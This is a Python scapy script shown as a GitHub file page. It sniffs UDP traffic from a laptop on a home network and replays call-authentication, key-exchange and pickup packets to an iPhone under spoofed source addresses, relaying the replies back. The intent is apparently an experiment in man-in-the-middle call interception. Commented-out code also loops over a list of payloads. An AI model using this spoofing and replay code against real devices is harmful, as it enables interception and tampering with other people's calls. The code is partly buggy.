-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathtest1.py
164 lines (114 loc) · 4.68 KB
/
test1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import sys
from scapy.all import *
iphone = "192.168.0.104"
kali = "192.168.0.104"
macbook = "192.168.0.105"
work = "192.168.0.102"
pris = "192.168.0.104"
source = kali
destiny = iphone
dport = 0
sport = 61234
def processPackage(s):
auth = True
keyExchange = True
pickup = True
if auth and "0f000100082112a442".decode('hex') in s.load:
print "AUTHHHHHHHHH"
sport = s.sport
dport = s.dport
response = sr1(IP(src=kali, dst=iphone)/UDP(sport=sport, dport=dport)/s.load)
response.show()
send(IP(src=kali, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
auth = False
elif keyExchange and "0f000100382112a442".decode('hex') in s.load:
print "KEY EXCHANGEEEEEEE"
sport = s.sport
dport = s.dport
response = sr1(IP(src=kali, dst=iphone)/UDP(sport=sport, dport=dport)/s.load)
response.show()
send(IP(src=kali, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
keyExchange = False
elif pickup and "2004000400".decode('hex') in s.load:
print "DESCOLGARRRRRRRRRRRRRR"
sport = s.sport
dport = s.dport
send(IP(src=macbook, dst=iphone)/UDP(sport=sport, dport=dport)/s.load)
pickUp = False
else:
print "OTROOO: "
print s.load.encode('hex')
sport = s.sport
dport = s.dport
if s.haslayer(Raw):
send(IP(src=source, dst=iphone)/UDP(sport=sport, dport=dport)/s.load)
myfilter = "udp and src %s" % (macbook)
sniff(filter=myfilter, prn=processPackage)
# #Auth
# print "waiting for Auth..."
# myfilter = "udp and src %s and dst %s and data contains 0f000100082112a442" % (macbook, iphone)
# s = sniff(filter=myfilter, count=1)
# sport = s[0].sport
# dport = s[0].dport
# response = sr1(IP(src=source, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=source, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# # #Key exchange
# print "waiting for key exchange..."
# myfilter = "udp and src %s and dst %s and data contains 0f000100382112a442" % (macbook, iphone)
# s = sniff(filter=myfilter, count=1)
# response = sr1(IP(src=source, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=source, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# # Descolgar
# print "waiting to pickup..."
# myfilter = "udp and src %s and dst %s and data contains" % (macbook, kali)
# #while s[0].load == None:
# s = sniff(filter=myfilter, count=1)
# response = sr1(IP(src=source, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=source, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# # Descolgar 2
# print "waiting for pickup 2..."
# s = sniff(filter=myfilter, count=1)
# response = sr1(IP(src=source, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=source, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# print "waiting..."
# s = sniff(filter=myfilter, count=1)
# # Descolgar
# response = sr1(IP(src=source, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=source, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# print "waiting..."
# s = sniff(filter=myfilter, count=1)
# # Descolgar
# response = sr1(IP(src=source, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=source, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# s = sniff(filter=myfilter, count=1)
# # Descolgar
# response = sr1(IP(src=kali, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=kali, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# s = sniff(filter=myfilter, count=1)
# # Descolgar
# response = sr1(IP(src=kali, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=kali, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# s = sniff(filter=myfilter, count=1)
# # Descolgar
# response = sr1(IP(src=kali, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=kali, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# s = sniff(filter=myfilter, count=1)
# # Descolgar
# response = sr1(IP(src=kali, dst=iphone)/UDP(sport=sport, dport=dport)/s[0].load)
# response.show()
# send(IP(src=kali, dst=macbook)/UDP(sport=response.sport, dport=response.dport)/response.load)
# s = sniff(filter=myfilter, count=1)
# for i in range(0, len(payloads)):
# print "\n\n\n--------------------PAYLOAD%d--------------------\n\n" % i
# p = sr1(IP(src=macbook, dst=iphone)/UDP(sport=sport, dport=dport)/payloads[i].decode('hex'))
# if p:
# p.show()